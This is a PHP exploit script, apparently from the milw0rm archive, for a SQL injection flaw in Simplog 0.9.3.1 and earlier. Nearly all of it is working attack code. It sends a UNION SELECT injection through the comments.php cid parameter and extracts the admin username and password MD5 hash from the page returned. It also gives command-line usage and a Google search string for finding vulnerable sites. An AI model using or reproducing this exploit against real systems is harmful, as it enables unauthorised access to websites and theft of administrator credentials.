Simplog <= 0.9.3.1 comments.php Remote SQL Injection Exploit

#!/usr/bin/php &#60;?php /********************************************************************* * Simplog 0.9.3.1 Remote SQL Injection Vulnerability * * Note: * Requires at least one blog entry to be made prior to injection * * Usage: * php script.php [host] [path] [user id] * * Usage Example: * php script.php domain.com /simplog/ 1 * * Googledork: * intext:Powered by Simplog * * Credits: * Disfigure - Vulnerability research and discovery * Synsta - Exploit scripting * * [w4ck1ng] - w4ck1ng.com *********************************************************************/ if(!$argv[3 ]){ die(&#34;Usage: php $argv[0] [host] [path] [user id]\n Usage Example: php $argv[0] domain.com /simplog/ 1\n&#34;); } if($argv[3]){ function send($host, $put){ global $data; $conn = fsockopen( gethostbyname($host),&#34;80&#34; ); if(!$conn) { die(&#34;Connection to $host failed...&#34;); }else{ fputs($conn, $put); } while(!feof($conn)) { $data .=fgets( $conn); } fclose($conn); return $data; } $host = $argv[ 1]; $path = $argv[ 2]; $userid = $argv[ 3]; $sql = urlencode( &#34;-1 union select 9,9,9,login,9,password,9,9 from blog_users where admin=$userid&#34;); $req = &#34;GET &#34;. $path.&#34;comments.php?op=edit&cid=&#34;. &#34;$sql HTTP/1.1\r\n&#34;; $req .= &#34;Host: $host\r\n&#34;; //$req .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;; $req .= &#34;Content-Type: text/plain\r\n&#34; ; $req .= &#34;Connection: Close\r\n\r\n&#34; ; send(&#34;$host&#34;, &#34;$req&#34;); $aname = explode( &#34;&#62;&#60;input type=text name=cname maxlength=64 value=\&#34;&#34;,$data); $bname = explode( &#34;\&#34;&#62;&#34;,$aname[1 ]); $name = $bname[ 0]; $ahash = explode( &#34;&#60;textarea name=comment rows=10 cols=40 wrap=physical&#62;&#34;,$data); $bhash = explode( &#34;&#60;/textarea&#62;&#34;,$ahash[1 ]); $hash = $bhash[ 0]; if(strlen($hash) != 32){ die(&#34;Exploit failed..\n&#34;); }else{ die(&#34;Username: $name MD5: $hash\n&#34;); } } ?&#62; # milw0rm.com [2006-10-16]